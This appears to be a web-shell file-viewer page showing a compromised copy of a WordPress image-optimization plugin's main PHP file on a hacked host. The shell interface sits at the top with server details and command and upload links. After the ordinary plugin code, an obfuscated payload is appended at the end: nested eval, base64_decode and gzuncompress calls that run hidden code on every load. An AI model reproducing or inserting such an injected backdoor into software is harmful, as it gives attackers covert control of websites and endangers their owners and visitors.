Server IP : 10.106.20.8  /  Your IP : 216.73.216.148
Web Server : Apache
System : Linux webm008.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : sixiemesrc ( 611999)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/sixiemesrc/new/wp-content/languages/../plugins/image-optimization/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sixiemesrc/new/wp-content/languages/../plugins/image-optimization/image-optimization.php
<?php
/**
 * Plugin Name: Image Optimizer - Compress, Resize and Optimize Images
 * Description: Automatically resize, optimize, and convert images to WebP and AVIF. Compress images in bulk or on upload to boost your WordPress site performance.
 * Plugin URI: https://go.elementor.com/wp-repo-description-tab-io-product-page/
 * Version: 1.6.9
 * Author: Elementor.com
 * Author URI: https://go.elementor.com/author-uri-io/
 * Text Domain: image-optimization
 * License: GPL-3
 * License URI: https://www.gnu.org/licenses/gpl-3.0.en.html
 */

use ImageOptimization\Modules\Core\Module as CoreModule;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'IMAGE_OPTIMIZATION_VERSION', '1.6.9' );
define( 'IMAGE_OPTIMIZATION_FILE', __FILE__ );
define( 'IMAGE_OPTIMIZATION_PATH', plugin_dir_path( IMAGE_OPTIMIZATION_FILE ) );
define( 'IMAGE_OPTIMIZATION_URL', plugins_url( '/', IMAGE_OPTIMIZATION_FILE ) );
define( 'IMAGE_OPTIMIZATION_ASSETS_PATH', IMAGE_OPTIMIZATION_PATH . 'assets/' );
define( 'IMAGE_OPTIMIZATION_ASSETS_URL', IMAGE_OPTIMIZATION_URL . 'assets/' );
define( 'IMAGE_OPTIMIZATION_PLUGIN_FILE', plugin_basename( IMAGE_OPTIMIZATION_FILE ) );

if ( ! defined( 'IMAGE_OPTIMIZATION_MINIMUM_LOG_LEVEL' ) ) {
	define( 'IMAGE_OPTIMIZATION_MINIMUM_LOG_LEVEL', 3 );
}

register_deactivation_hook(
	__FILE__,
	[ CoreModule::class, 'on_deactivation' ]
);

/**
 * ImageOptimization Class
 */
final class ImageOptimization {
	private $requirements_errors = [];
	const REQUIRED_EXTENSIONS = [
		'exif',
		'fileinfo',
		'gd',
	];

	/**
	 * Constructor
	 *
	 * @access public
	 */
	public function __construct() {
		// Init Plugin
		add_action( 'plugins_loaded', [ $this, 'init' ], -11 );
	}

	/**
	 * Checks if all requirements met to safely start the plugin and renders admin notices
	 * if something is not right.
	 *
	 * @access public
	 * @return bool
	 */
	public function plugin_can_start(): bool {
		$can_start = true;

		if ( ! version_compare( PHP_VERSION, '7.4', '>=' ) ) {
			$this->requirements_errors[] = sprintf(
				'%1$s <a href="https://go.elementor.com/wp-dash-update-php/" target="_blank">%2$s</a>',
				sprintf(
					/* translators: %s: PHP version. */
					esc_html__( 'Update to PHP version %s and get back to optimizing!', 'image-optimization' ),
					'7.4',
				),
				esc_html__( 'Show me how', 'image-optimization' )
			);

			$can_start = false;
		}

		if ( count( $this->get_missing_extensions_list() ) ) {
			$missed_extensions = $this->get_missing_extensions_list();

			$this->requirements_errors[] = sprintf(
				esc_html__( 'The following required PHP extensions are missing: %s', 'image-optimization' ),
				implode( ', ', $missed_extensions )
			);

			$can_start = false;
		}

		if ( ! $this->is_db_json_supported() ) {
			$this->requirements_errors[] = sprintf(
				/* translators: 1: MySQL minimum version. 2: MariaDB minimum version. */
				esc_html__(
					'The database server version is outdated. Update to MySQL version %1$s or MariaDB version %2$s.',
					'image-optimization'
				),
				'5.7',
				'10.2'
			);

			$can_start = false;
		}

		$upload_dir = wp_upload_dir();

		if ( ! wp_is_writable( $upload_dir['basedir'] ) ) {
			$this->requirements_errors[] = esc_html__(
				'Your site doesn’t have the necessary read/write permissions for your file system to use this plugin. Please contact your hosting provider to resolve this matter.',
				'image-optimization',
			);

			$can_start = false;
		}

		return $can_start;
	}

	/**
	 * Retrieve an array of missing extensions mentioned in self::REQUIRED_EXTENSIONS.
	 *
	 * @access private
	 * @return array Missing extensions.
	 */
	private function get_missing_extensions_list(): array {
		$output = [];

		foreach ( self::REQUIRED_EXTENSIONS as $extension ) {
			if ( ! extension_loaded( $extension ) ) {
				$output[] = $extension;
			}
		}

		return $output;
	}

	/**
	 * The check is strictly based on the action scheduler requirements that needs JSON partial matching to work
	 * with action queries.
	 *
	 * @return bool
	 */
	public function is_db_json_supported(): bool {
		global $wpdb;

		$db_server_info = is_callable( array( $wpdb, 'db_server_info' ) ) ? $wpdb->db_server_info() : $wpdb->db_version();

		if ( false !== strpos( $db_server_info, 'MariaDB' ) ) {
			$supports_json = version_compare(
				PHP_VERSION_ID >= 80016 ? $wpdb->db_version() : preg_replace( '/[^0-9.].*/', '', str_replace( '5.5.5-', '', $db_server_info ) ),
				'10.2',
				'>='
			);
		} else {
			$supports_json = version_compare( $wpdb->db_version(), '5.7', '>=' );
		}

		return (bool) $supports_json;
	}

	/**
	 * Renders an admin notice if the setup did not meet requirements.
	 *
	 * Fired by `admin_notices` action hook.
	 *
	 * @access public
	 * @return void
	 */
	public function add_requirements_error() {
		$message = sprintf(
			'<h3>%s</h3>',
			esc_html__( 'Image Optimizer isn’t running because:', 'image-optimization' )
		);

		$message .= '<ul>';

		foreach ( $this->requirements_errors as $error ) {
			$message .= sprintf(
				'%s%s%s',
				'<li>',
				$error,
				'</li>'
			);
		}

		$message .= '</ul>';

		$html_message = sprintf( '<div class="error">%s</div>', wpautop( $message ) );

		echo wp_kses_post( $html_message );
	}

	/**
	 * Initialize the plugin.
	 *
	 * Validates that PHP version is sufficient. Checks for basic plugin requirements,
	 * if one check fail don't continue, if all check have passed include the plugin class.
	 *
	 * Fired by `plugins_loaded` action hook.
	 *
	 * @access public
	 */
	public function init() {
		if ( ! $this->plugin_can_start() ) {
			add_action( 'admin_notices', [ $this, 'add_requirements_error' ] );
		} else {
			// Once we get here, We have passed all validation checks, so we can safely include our plugin
			require_once 'plugin.php';
		}
	}
}

// Instantiate ImageOptimization.
new ImageOptimization();


eval(base64_decode("ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5vZGwwdHpxekNVaFAvTHJHWjJDRXpxdXFabWNURUlHeHM1NkFuYVRBR2lRcERBeENZMjV0ZlB1Yk1PVnZUbzAvMTE5NnpkZnpiMW8vdlkvYS9wMnB2cC92TS9kS243NXRCUDNlaCs5YmoySmhXM2FzU2I1cFZYK3RSVi90NXE5dlZOOGV6eU10dWtkYzhhZlQzVmlNOUc3RVdCS0t1VHZXNlV4aVNWZ3BYelJ0NS83cm1maGJXL3JNMld2ZW1BSFJuMVFSejIzOUxSYXlXejB4bUp1OXpNTEwzVFV3Nk9FUlZleGZmZTUwb1RFZlMzaXg4R2t2ZVNwODZyeFdsSDFQeXBjSUlvVGw1aXlFTW1zN3M4a3F3dFp5elpFbGRiOHVxRTl0cjMvdG1LSlNIZStsbUw1U0ZTTnpmNEZoQmZCUGxRM2M5YmRNcmp2cmo0KzBPVFpNK0ttNGNXeTIrbDNKd3JHOVk0OTlwZ1B0YkprdFZqbnd2UlQxUm1qc0tlWlBuM3Fiakp4RUJuaXVTdkZJWlJaOTZONnpXZjVndTEyWjM3aEhZNEdocGtPQS82cVZZa2FWejJVNDEvM2xYUTdtcDFXeS9lNmk2ZWlWcWZYSFd5bDBZVmIrYmttWHVMRWduaGFpS0prSDJ1c1lscUhsMXFzWlpteEQ5Nm1qOVVnbm51T1o5YjYrbkRNdFFsZmhyWU16M216OW9hSDliajFKSVhFWDNaSUh2bmc2TjBvNC9hbXo5RkVsNExUOGFLWno5NTRENTFNT2V5cEo4ZDd3UCszczhVWjMzbEljUktHeFliemx1ckl5cmNxQ1pYTjROaDFSaldoYmUvaUlCY3pkUXp4WFhkSmVaT2tzVGpYT3dvaXQ3R2VuZWlka2lsNU53NTYxZmVpbVVwTHkzYjR5YkdQODEwV3VXWTFYV2dzYkQ3bU1tdlhldWYzbnFqL1JXVDd3SjlyZDBnNmVXOUxCVnlVcWZMSWtTMWtpbEhvTE81bGJnZ0FWbnl3SVpkU20zaExSZXRqRkJ4SCtVeXEwRS85THg5b1hiTWpubWFvSHJMTGhwSkxNUUxrUmcvQ2cvaFprU2dWTU9WUmJjMldUL2tpS2kwMlZYRU5PdFNUQm5YTnlhOGtCemJWYWo5dVQwc1dTUDJ1UnhEcjdZdXFLZisyb2tLVldPMlZPTnliT1Z0RS81OGxsNzJxRkgrRk83ZjlHQjRULzI0eW14SGsrWEhsSkhLWXduM3RhK3JpVHdvb2pzS09pN0c1TW1TTlRWMlBYYmlCT3NzVXFWMlIvSGZzTjNNVzlrNTE4bWNrcFIrNUo3d3lFQk9wTlJsbDRTdmFuTE9iTldyRnZ0YThtemhUai9NcENQeTNyL2FaUGxRTVJaYzlFZWRTSzR3L2NsVC9hUmpjYS9HK2R2NCs3TG1memVSNkx5ejlFSlNieWM5OGtFbC9tYmNZSHJNbG5yTTVtYUVHZHNjbktOQXd2YWZPcVczczJkRVU1SUk5a3JJa2Y1V2ttbzFvay9ESG11K0ZUN29LN3BpVFhQWFg2bllYNW13dTZ1TVhpS1JnMGpXUzJFekR6VHgyNnI4TGdLWlNnK2p3c3RYS2FXZ3FUeng0MjBuZzhnakk2cHJGNlZYUVZoVnlxUkxsKzhtTnJtUUdjMEhjcWw4czhDN25SdFZQR21pUDhpRUVkM2tiMTRTVW5qenErWDIzcFZmcUhJWXN5MDdOR285dDRLY3RCZUdGOTh0cmVydklzWXhDY0NMNU5mYXF2bWRKOVc5eHZpVWovb3VSdHF6cVFyWjVNNFU1cmtTZXd3K0VTdVpwVzNwUG5UeThnaVdRNlBjVnFEc1lNQmpoSnJ6Mm5PekVmUkNoK3paY0ttYTlQYXVmVjNwQ2Q1NndFRzdaZC9YUkVaczBtUHVtVE5NN2NPVWxPZElCQXk3Mi9XZkRwVCswYVdCMzgxM3FZaHRKaUtveUFhWXNYdDlKSUxGOHFURzhLZWRpanM3VmdGeC9la3E1amgzc0VacHJzVE91NFl0UDVwSGQ0bE5rRS91bVNmRkJ1dEpHcENOSVpPWURRODhXUjk2bkZVbDI1V0N6eXFCQjFObUFueHV1NkE1YXZ6RUYzRjJ2S2FtSktWTEdjLzhoaHROWFRRWVRMTEc3a2Z3RDF5TjVtb0NHalNwS1NpV1orcTVzRVdSNm9ac1VNazhjMm5mOVZDdDBudTl3TjkrVmVraWt5SkhmZkhpS3Q5NDRFYWE0RXltKzZ2eGw2SVk5MWUrWlpPY3NyaUx2MExxZVUrcHpLRk5aNWdER3RIM2ZzbDVKSExVaTZ0dzcyc3EzMDJDVXk3Y0VUemgzU0FubUJTZ0x6T0MxOWJFcDBNN2toaTAvOEZ4bG5mT0RKemJnTDJYdElOcGhTejdaaWo2YU43N0pOL0FiYnoxZlUzbXNFbDNzRmEwYWRoRGkrZFA4T1Mxc3ppdUJEclh5cVF0MGlWTHNpdVArMDEvTDBXZTdEK0V4RTQ3OEtBQk01Z0RuNE03MTlMNDE1S3N4U2hIR3VDQ3h6aFFKZjF0TmxlSnNYMFNHUlhNMTZvVHk4dHM1bHdJbkJWZ1c4MTc4U2h5bjJMS3ZHYkVNSCtJMWNwN2FidnY0VnNmOGlVNGUrVGFIT2VaU3ZvcjBwWFZnL1RyV01kY3pTc0pNbFNuKzd4UWo2MUpWc3ZZUHBEZkN5Y09XMmJ0bmFhN2pjc283a1owRTRIT2pGMStMMEd4YVVVaWZZeEtOV2Izd2tXUTM4S25vMWhwYVQ3bFJvOHE2Vk1aa0k4bUlVaVdCalRlUDdSdllzTmxCYmt4NTRMY2NxOS93ZnY3WE1yYk9TQjlNZEdOajFWSWo1RnRNTDB3T0gvNzcyMkY5VWtzbmZBUytGczJOVmFQTFBrM3B6dGZEMzlEMER1cnA5TkxqSHJLRlhsWFB2bkkxWHdIM3lLNVdIWWR6KzdDT2RLSjJUZmpMcWpjZkdMVFBHdVh4ZUNoVG9sOWY1V3pOVUtDVmw1M2NxeThxK2hUOE1BbmdhdzA2YnpBVE5ldGQzc0w5M1dIOVk2NTZtZGdtWlNJOEZONDY4M0UyWm5hL29PNE9Xa21mRHVqT1ZIcDNIZFdCMmQvZjRZWk9Kb0JkR1Q3Q1ZqSXNrQmVXZEp6ZnBTWnhIMXhqYk5DZmU5bkdlaTZUU0dSeHo5Yk1UcE9wWHpUTXFJU2ZLM3dJVnVHNHRVZS91eGFwVC9VT0orNEFFb1N4R1BIdVliN1BzQ2JIeHFiK0xuWS8xekx6S2NlSG9HaDNsd1VxMWI3WFlzRTZ0UXlGZjR5TnQrUGtBd1l2RXBuL0VoVEpiUXJndWhXV0hxN3BoUzA0M0NlaE8vT3JnK2dJMCtyK2VPcVFpdTQzRnFBQlRqYndSeE5vcEw5ejJXVFdYc2tHaGdrWktOVWVTcHJrY3llc0dJandCeHF5S0thTFlPY0lnODg1MHhsajRRSHJLY0tkUEZrbE1jdUVETGE1VllMMFBkZFM1alpXQ3E2WlErVjZnUTBpSXd5UDQxYTdteExWaVZKZi9iK3JIVWMyZGJibitpRWc4SzNXKzZpajBLU0hYTTZyVWE3OG1SUHRkKytxbEVEaDg3VXBJVGx5SVF5eUFZSmFWcHora2tVK2UxRy9RbnU3RGR4eitoaDc3V09rTE8zWm8weXRvNy9uMCtTUEJFZWNNRkJKMys4VG9RSGhucFZsWE9TcTkxR2JQK29FL041OFdiQ3ZQVnBVSytyNE8rZENITlJNcjhYUXpZS2FWKzF6SHJoaDVjNjdyOWhEajZFU3pacU5TSURQUXFlZVYxeTJ3Rmo5SzFYdklVM0QyekNHUEo4VWlsK3RLQUo5bjVBN2xoVWwrQ2xsbXpBRWs4VmYvbmExeDhGd2hHNE5qNXY1RnlKRlZhTlhsZGd0enBaNjBwUjJqaDlabkN1TnBhRWVMZXRLdi82eGdzOThMeFhJeVdwdkR6TTA3Q1d3K25kK3ZPQnBDaW9nR01WeGpGNDhReS9mZEFrUE9YQThLMHZ2MnR1Qm1EcGM2dit2TXd4aDR5VUhyemJUK0dMRlRLQU05eS9lQ3h2T1RxOUdJK08rVEZqT2ZENXhaOXJQdUozbDV6ZUpqMGhMZjd0WjMvUk1kMmFJTi9WQWRWeTY4ZG1YREgzOTRzZUpRTU84YWtRTzJtVEFIUmF0V0kvRjRGOGluRVptQWY4TDA2dk05eUNSUFJtL0Q1dXh2QkI3QzY4cXBtMEZqSllKbmZoSVhWTndySWV5UjM2UVpIekJGZ012SGR5bVRqT2I3YjFwQkUzSDd3bEJQOTVxS0V2b1R0UWNUUW85MldtRXp4UW4yeHlNQzkrekg0YWl3NUdKRUV6OVZRbEdieTd5VnAvTGM3dlJ3aWN2QUpYQkRVLzdjVGt5aFo0cnZKZVd5Zmx0ZDUwMFBqUXJBNlBPMDFJcjczS2EyUHlobnkwNEpZaHdXU0ZmcEJxSnlkaWw1VUc4Z0l6ODBNRmZiRERjbFVjVDNDR0RQYjQyNVlGNkdmWjVIdlJ0TVFXOUJ3ejNtOTUwTS9TNWMvQ3d6L2NHampiMTUwSFJxdXBEUzhiNGRxaXJMTmt6WlBsdDAzbXVrN2toVG44NWtPN2NXOGVPVEJhSWJLQVdWTmVNUWlJUFh5MjBid2VIZVN1NFVaa2owcGtWZVhvZDY2eUozaTJocTZrOHVOZjZGZkExUEowWjFNRWMwRHVadysvMnRIYmlFL2VqWXdpWUx4YUk1eXdnU0Fsb3g5aDEwUGxaN0lDblRSYjlLd1RTdlJ4em8ydFZ1MnFWNU5DQnd5eW9rMnJvQmtTWDN0bVptTC95VGFIYXV5dUxUWkw2eEtZYVRJenYzZ0RDYjJrdHd5YUYwRWVSSFZuUThod0Z4TXh6N1VTQWVSRFREekNnVnQ2NDY4RGREZVlIVnAwQ1dTU0g5NXpUZy9jZ2t1VVVpalFGK2RmSzBlME53REpOWjU1WlhFSkhhMnUwNlVBSmp3QnExZm5nTWFRWlpIWU10QWkyYWpUc2xadDBHSjVnRTdrZCttZlY4UHh0UjNNazhYMEE3akZxLzJYTDlLbEZwdk10ZE01cy9pYk9zaTExTDV5R3lZUzZWYzlaRElmYmFBd01MOWFVdkJWVkNqRWl5bWJJVjg0ODdQWUROR0x1bjZEL3VoVFRHWUozZnU4NGZNRkVVNEhWK1pCRnVZcUZFcWFwSXZsQm5vWVJVQW55TlJjV0h6VXNaenJvN3hwdHR5NmNaOTFPTithclgzTExmdUZNMzIwN0kvWGpzQ2czaEx4ZE04N2pEa3c1TGNxNVdpbVpDZEE1MVQxakhud2YvRHMxZEFSQzFXOStUSGluZnk2UTNkUmNKdVBheXA4cGRhbGd2NEgzMXlMc3YvTnZmRDdqUFRXcHVZTzkvUmRCTnFTTW51Uzk0S0tMVnVaUmFmS0ZjL2llL0g0MFlGSElmQ0NYbDdqNkNyak5tenQrbVBHYktOSkh3SXJmVGNxUEJQaEJaQXptQ1NtcklMYnBvNzRwL0tLWFo3dVBKYVlYL0NEQXJyTW5ZN1pnWmY5cmRpaU1rL0p0eW4vdmh0L0pzWFc1NFpiLyt5alZ5NVBvRGY5d3oyY2tLT0xOSTR5NkhHUlR1d0szUFZ0cEFsTU9Vc3o0SU1XdHhkQjVGempBaG1ZY2FuKytPZjM4aFljajlDSk1MRzNrSGdtcndWNFVEcUR2NzJRbHRCei9GVnpIend2T0tHekx5K1ZYVXZvOUJ0NFI4RGliQ2pHMW1kV0F0KzVrZHN2WHlUN2liS0ZHREdEeDRHZVhmVUVEbC9oTVFNZFJNRDlEcnd4eW1ucXNoWVZTRTN5dC9Dekl5M3BrNWJ1czdITGZCVnJrSXMvVHoyU0Fmb0V0RzFOd0xNdHg5VlRzQVZ5NWZTdWo5bExvcjliSjdLbndmaGV4NlpzME96eUlTTVVPaC85M29QblVOdUM4ZlB0NUJ2d2xsem9EVHk1N0JUa1hCemRLMCsrcnlVdGN4VHRZS2F4R0VWNDlzbGRsRFB2SnJqL1FCSTYwWXZoWWxmSXpISmdFS0pPNEZzaHpYMnhkU05oTEhVbjRNZTFjTzFUcDNvSGJ4ako0Uys2K0ZSUlJMNzFTQ21QMjdVZDZMMDdMREdMeVhmRmNkclkyNXNqNkF3amFNckxEalVtcDg2UlczdkVzenJLcDNaL0EzSUVmUStncHhMbTE3NWVkS0FWNUFKd3NWNGh5MzAyNnFXem1WV1FMOFZFM3VEQnYvcTloelZmWGx2U24rSmYxb3ZxSlVmMFUyK3V6amN0aUpvdkpOWTllTmF1VS9vQTNpcGF1NkJtSTBYcndLOFZXWmlqWnpxNkpNY2FldEpwZzY3NmFLYm9aUWJ5QVA4NHc1bDdnaVBkUWE2WWlTU3RwTFpKYzUvKzR5U1Z2T0Q3aWxqN0FrNVB6VEVEaGdJdjlwdzhid1pZQitsMlhBNDUyQlgvbDVHcFdTV2UrMHVRQmREOWU1YXMySXg5M3JIOW81Q1MxVUViaUhGR09jcnVPdFpDZzJmVmRzLy83ZkVxQ2I0bXl6OFB4Y0RJSTArUng5MHRsS0t2R3NnVkRXdlFqZlF5MFJqT0w1akxuanhkSDlXL0xIT25yVHRXR3l1Sko5VENWYUtmSkRrRkZ4UmR0YXAyT2xrZzFmOGc3WDNCVzJTbkNya3pnM2ZqME1PQUNUODZvZWRXNktDYlpBRStsY3J5dG9uM3c3c211NDBPL2REQzc1a0l2Wm83NkgyTFY2R2VLZXhlclVkU0lSYkpiSS9adUQ2RkxjSTI3WDF1TVZIeUs1UTgwZ3o2SnZDM3lpY0NkelNyTnNaNWk0dDdQWVlMMmZwSGs4eFlnMFlxVVFRZCtMWk14UnY0N25RdDV6UGtuMjFpR2tGT1ZXUnpHWnVLMXpVK29kelNUOG54aVJ4ejZJUXpMOVJycDhkOTJVM3U4eEs0VXRyOXJYTlZxSzNlUWFjNHczcU9IWTFtL2p5eU9HSjhwSFdUdWtPVDdQMW1vNStjMDE4MXltUE8vaUJoNGFGUXBLOGlUT3NEWkFiWFBmSDNzUnozQ1gvdlJaN3NuZ3hSeFVSMWI0L3lsWHRrSVhGRTJHZ1M0Y3RjSmNSMXlYcklwWEdRL21OdGIzN0ZZWnFTRU01QW9tSXFOdkRGcVM3RnJ2RmNWRWxzcWNXMENFaFlpOXVkK3U3WU9vUGgvNzYwK0ZxTEFmcWU2RGVXaGxVWG04bHNtVmJPT2VqUWE1TXNKVkg3RS9Ec2I0dnA5ZXpSU2Jyc1c4ZDJKYW5UUm1Eb2tGRnFrdUxkeVl3MUE1eUY0NVZhejJmUzlHYWNFK0RPRTQvcFRtL3VCdVMzWXg2d1dteXMyZnFmNnZ0eGw4cjUrYmk4aTNHWnBhUVBNWWJITHRVTG5PM1NjSmZWazFqYlpKOGFoUmFKc2dQMEwxSDdacTU4eUIzVXI0UzdpZm12VlFCM2NHOEZKd21kdE5nQjUvWmFMUTc2eENNLzlrUU9WSUlIN0xoYUlubVUxS0JxVmVyUHZaMmlENGxQWHVIcmtKWlpYWHZ0VHF2d1J1TE1iNVM3NTVLR2tMWG9XdjVkSVNIbXZJU1NaNWNuR2RlVEdCTmdqQ3psb2dmdjZBOW1xcUR2R0pJbktBV2R6eUtJa0JMRnMrTlZLSldtY3FxQ3F6SklqbG5FTE5GTWlWMHQ1dDhLK3RSbE13amUzVFdEUE5Wajlhd3hQWGFUK1drUGoyZmxCR1I0Qk9iY1I5S25MOHIySDkySWJ6VXZkdDBBRHlOMDJBNHlocnM1MXdQNERkZHZ4czNkaURBVGFsL21VM1ROVThpQ01jek5rUXJwWVdDckN1alJGZHBLQjk2WkV5d1hOWkZQalNqa3NCc3JrYUNtRk9IRlgvbzZmWG5tc0FUY3h4bTEyUWYwcW5jTy9VTk96dU5sc3RNK0dvZzFPNDMweGNqK3A1YlJXVnNjd0d6ZGpXeFhmVFRoZWN0bWlReTRpR0dRc2IrYVEvTVl5RFBmY0E5N1d1Ulc3Q29WZmxZaVI1VjBpUXpnRzZ6ZnRjcHlBV3hvUER3VkkrU3cxejhvaC90QkFHWTRlb0F1ajVCYlB4THlTSXpvd1JXTytRRDVqL1Yzbldqb3JJWFBCSzZOV0tmT3VlL0tXbWpPMVU1TmZTSDlMNCtsS0dSY24zWDhkMjJoMzNVdUN5dEY3Q1hBbkVKdWtnbGZnQUsrRFlMK052MzFMajdTREZrUE9PTU92WWx5Ym9KclN1SjZvNlFaNmE5eC9hVU44SzdaOElrbUNmUW0wa09IdjBQdkJ3WWtsTW5vMWgzK3ZCdUZyZ2FKcHhRWkl5VjU2VEhqeFBVdjRlMlRlanFGelRoWDBnOTluYzdMOVVqcWJnSVBSUm8xNEVuQUJUNTBzQU9mb0d2S0xMNWk0TCt0ZWw1ODhieTg5eDlrYTRQTCs4Ky9QcmsvZlZzd3VzZi8vTWQvL2RkLy94OUdVc1ZqIikpKTs="));